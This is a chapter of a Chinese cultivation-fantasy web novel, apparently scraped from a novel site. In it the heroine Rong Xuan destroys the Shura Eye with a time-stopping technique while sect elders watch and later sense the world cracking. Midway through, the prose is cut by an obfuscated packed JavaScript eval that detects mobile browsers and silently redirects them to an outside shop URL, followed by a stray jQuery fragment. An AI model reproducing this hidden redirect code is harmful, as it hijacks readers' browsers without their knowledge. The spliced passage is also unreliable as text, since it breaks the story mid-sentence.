文趣网 > 其他小说 > 大师姐求你不要再捡了 > 3. 保持缄默
    森林里灵气紊乱得更厉害了。

    水镜前,灵微看见了重新出现在镜中的容玄,捏紧的右手终于松开。而森林其他地方,因为灵气和灵兽的暴乱,陆续有人身受重伤。青炼会开始不过四天,已经有不少小辈捏碎玉牌提前退出。

    毗卢殿内,一位系着碧玉红鞓带、外罩五彩刻丝墨云锦褙的男子提议:“此次青炼会不过四天,已有不少小辈退出。修罗盘本就是阴煞之物,再不控制,恐怕各家都要有折损。不如我们也进去看看,这灵兽暴乱究竟是何原因。”

    “是啊是啊!我家有个臭小子要面子一直不肯捏玉牌,要不是我一直盯着把他从魔兽嘴里捞出来,此刻说不定早成了修罗盘的养分!”

    “我说老兄,你这还算好的,我家小子不知进了什么地方,这八十一面水镜我是看遍了也没找到他!真要是死在里头我都不知道!急死我了!”

    “屁!我还不知道你!不就是想炫耀你家乖孙在里头得了机缘吗!”

    “哎哎哎这可不行啊!进了这修罗盘,生死各凭本事,真让你们这群老狐狸进去,那还不得乱套!”

    大殿里吵成一团。空空和尚沉默半晌,缓缓开口:“此法不妥。修罗盘灵气紊乱,骤然闯入大量高级修者只怕适得其反。贫僧有一法子,不知各位可愿一听。”

    “快说!”

    “由五大门派各派一位长老,进入修罗眼附近稳定修罗灵气。贫僧不才,愿为无相寺身先士卒,也愿为各位引路。”

    此言一出,闹哄哄的大殿静了几息。随即有人质疑:“反对!你们都是化神高手,要躲过水镜探查很容易。你们五大派联合起来欺负我们小门小户,我们找谁说理去!”

    郎药师喝了一口茶,慢悠悠道:“道友多心了,我们五大派向来互相监督、从不偏私。要说真有谁欺负谁——那也只有东道主欺负欺负客人罢了。”

    空空和尚:“阿弥陀佛,郎药师,出家人慈悲为怀。”

    郎药师指尖一点,渡了只紫气盈身的灵蝶来:“看看,这是谁的灵蝶啊。东陵,想偷偷送东西进去,这可不厚道。”

    角落传来一声嗤笑:“我看大家谁也别进去了。生死有命,修罗盘乃是上古灵物,其中自有法则。更何况,不是还没出事么。巽山派的容丫头一挑三,都是千年灵兽,人家都没着急,我们急什么呀。”

    一个头戴双龙戏珠抹额的年轻男人两腿交叠搁在茶几上,闭目摇扇,语气散漫。

    天衍宗长老却盯着水镜里修罗眼方向的画面,眉头越拧越紧。

    “不对劲。”他说,“大衍台今早的卦象指向修罗眼,恐怕没这么简单。”

    大殿安静下来。

    飞沙走石,大地震动。

    蹲在树杈间的容玄琢磨着兽潮什么时候过去。这地方藏不住人,那些有实力的魔兽会毫不犹豫对她下手。

    “奥利弗,怎么了?”容玄拿起传音符。

    “外面有一大批野兽!它们会吃人……”

    吃人?都叫魔兽了。

    “这不是什么新鲜事。我的洞穴很安全,你不在那?”

    “我在。但是有东西发现我了。那东西……长得不像人,但也许是个人,至少比那些野兽聪明。”

    “打不过就跑。”容玄说,“我守夜的时候挖了一条地道,在转角处第六根钟乳石下面,地上有个六芒星印记,顺时针转三圈、逆时针转两圈。但是通道那头不太稳定。”

    “那你呢?“

    “我去修罗眼。”

    奥利弗沉默了一会儿,声音从传音符里传出来,带着一点不安:“修罗眼?那地方听着就不太妙。容玄,你别逞强,实在不行你就……”

    “就什么?”

    “就想想美猪一百吃!”奥利弗认真地说,“你要是死在里面,以后就再也吃不到那么好吃的猪肉了!”

    容玄握着传音符,愣了一瞬,忽然有点想笑。

    “知道了。”她说,“等我回来给你烤鱼。”

    传音符那边传来一声轻快的“好”,像羽毛落在水面上。

    她收了传音符,朝修罗眼的方向掠去。

    修罗眼。

    巨大的漩涡吐纳着天地灵气,将周遭一切映成浓墨般的黑。红色的闪电将它紧紧裹缚,内里传出野兽似的雷鸣吼叫。漩涡下方是一片荒原,黄沙漫天,瘴气在这里形成一团团风暴肆虐。

    天边划过一道流星,正巧砸在漩涡上——漩涡骤然紧缩,又猛烈扩张,带来一股新的灵气暴风。

    漩涡剧烈伸缩起来,如同一颗硕大无比的心脏,与周围进行着巨量而激烈的能量交换。

    咚。

    咚。

    咚。

    容玄站在荒原边缘,手里的玉牌滚烫。

    她想起掌门的话,想起那句“毁掉修罗眼”,想起临行前灵微师母欲言又止的眼神。

    她抽出剑。

    “越暝意气功……”她低声念着那部新得的功法,指尖凝起一点几乎看不见的微光——时间在那一瞬停滞了半息。

    她吓了一跳。

    这功法刚才是不是真的让什么停了一下?

    容玄没来得及细想。修罗眼已经发现了她,漩涡向她压来,红电如鞭。

    她挥剑迎了上去。

    越是接近修罗眼,那股牵引力就越强。像是有什么东西正引动她体内的灵力,使其主动献出——这正是修罗眼的独特能力,它会吞噬一切。

    掌门交给她的任务是毁掉修罗眼。

    她丝毫没有怀疑为什么要这么做,更没有怀疑为什么这个人会是自己。

    她自出生起就被丢在巽山脚下,若不是灵音师母历练回归恰好路过,就那个偏僻竹林,她早该被野兽吞吃入腹。从襁褓婴儿长到三七之年,成为巽山派最强的大弟子,巽山给了她世界,她也会竭尽所能,为巽山献出全部。

    “呀——喝!”

    她挥动重如千钧的巨剑,一遍遍插入流沙,抵挡四面八方的罡风。砂砾擦过她的身体,划开一道道触目惊心的伤痕。三皮诀银诀,在这修罗荒原竟然脆弱至此!

    修罗眼似乎感受到她的挑衅,更加疯狂地鼓动起来。

    “容玄?与我一战!”

    “容玄!纳命来!”

    侧方有人大声叫喊,容玄手执巨剑迎了上去。她听到很多人的喊叫,像战场。可那不该是她的战场。她要的战斗,不在这些修士,而在修罗眼。

    干裂的嘴唇被一阵罡风撕开一道血淋淋的口子。她伸出舌头舔了舔,沙尘粘在舌尖,也粘在嘴唇的裂口上。很好,痛感消失了。

    容玄爽快地大笑一声:“神挡杀神,佛挡杀佛!”

    越暝意气功被召出。时间静止,为她修复受到的伤害,而修罗眼的吞噬,在同一刻减弱了。

    这是她第一次真正运转这部功法,也是她第一次走进时间的缝隙。

    风沙停在半空。扬起的砂砾悬在她眼前,一动不动,像琥珀里封住的化石。她听见自己的心跳。

    咚,咚……两跳之间,世界是静止的。

    她看见一道光。极细,极淡,像一根透明的丝线,从天地尽头一直

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17876273|212385||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    延伸到修罗眼深处。她不知道那是什么,只觉得那根线让她没来由地心里发慌,仿佛碰了它,就会有什么不可挽回的事发生。

    时间恢复流动的一瞬,砂砾重新落下,风重新呼啸。

    容玄愣在原地,出了一身冷汗。

    这功法……到底是谁创造的?为什么要创造一部能触碰时间法则的功法?而这样的功法,竟被她轻易得到了……

    她没来得及细想,修罗眼已经锁定了她。刺骨的森然灵气铺天盖地压下来。

    她提剑迎上。

    容玄此刻七窍流血,经脉筋骨的修复是以皮开肉绽为代价的。众人透过水镜,只见到她森森的白骨和密密麻麻的血管经络,在修罗眼的吞噬下反倒愈发坚固。她提剑横冲直撞,像头没有理智的凶兽,谁挡在她和修罗眼中间,她就杀了谁。

    “疯子!疯子!”

    水镜前的长老们霍然起身。有弟子的神智终于回归,惊慌失措地捏碎手中玉牌,强行退出修罗盘。容玄周身已是一片赤红,被修罗眼影响失了神智,她听到周围修士的惨叫,却记不清他们为何重伤。

    她看见修罗眼就在那里,静止不动,等待她的审判。

    “容玄,毁掉修罗眼。”掌门的话语犹在耳畔。

    “弟子定不负使命。”

    她运转越暝意气功,无意识地用燃烧自己生命的方式,使修罗眼停止转动,使这个修罗世界彻底在世界上消失。

    修罗盘爆炸,是在场所有人都不曾想象过的结局。

    容玄的身子如同狂风暴雨中一只可怜的乳燕,在空气中留下一道了无生机的血线。

    “弟子,幸,不负使命……”她喃喃低语。

    修罗盘炸成漫天碎屑,水镜尽毁,三十多位宗门才俊重伤,余下没有逃出生天的不知凡几。

    容玄更在重伤之列,灵微灵玉赶到时,已经没了一条腿。

    她残破的身体被灵微从废墟里捞出来时,手里还紧紧攥着半截断剑。灵微掰开她的手,看见她掌心里不知何时多了一块暗红色的碎片。那是盘心碎片,在爆炸中飞进她手里,此刻闪着淡淡的荧光。

    灵微没在意那块碎片,她的全部心神都在容玄的伤势上。

    “师姐,她还有气!快带她回去!”灵玉焦急地喊。

    没人注意到,在修罗盘炸裂的那一刻,大气中传来一声极轻的、几乎听不见的“咔嚓”声。像一件瓷器,裂开了一道缝。

    天衍宗宗主在静室里睁开了眼睛。

    他面前的周天大衍台,九千九百九十九枚天衍珠同时亮了一瞬,又同时熄灭,像有人在大雾里点了一盏灯,又立刻吹灭。他盯着那盏熄灭的灯看了很久,神情越来越凝重。

    “卦象乱了……”

    无相寺方丈的手腕轻轻一颤。他正捻着佛珠,珠串骤然断裂,佛珠滚落在地,发出清脆的声响。他弯腰去捡,指尖触到珠子的那一刻,时间仿佛静止。

    他抬眼望向修罗盘的方向,许久没有说话。

    云海剑阁阁主的长剑,在鞘中无风自鸣。他按住了剑柄,又松开,又按住。

    郎药师的茶盏里,茶汤无声地泛起一圈涟漪。

    四个当世大能,在同一瞬间,感到一阵说不清道不明的寒意,像有什么东西冲破牢笼,终于露出本来面目。

    凡人照常生老病死。低阶修士毫无所觉。只有他们,听见了世界的壳裂开的声音。

    而他们做出了同样的选择——保持缄默。

    没有人知道那道裂缝意味着什么,他们不敢问,不能问,唯有沉默。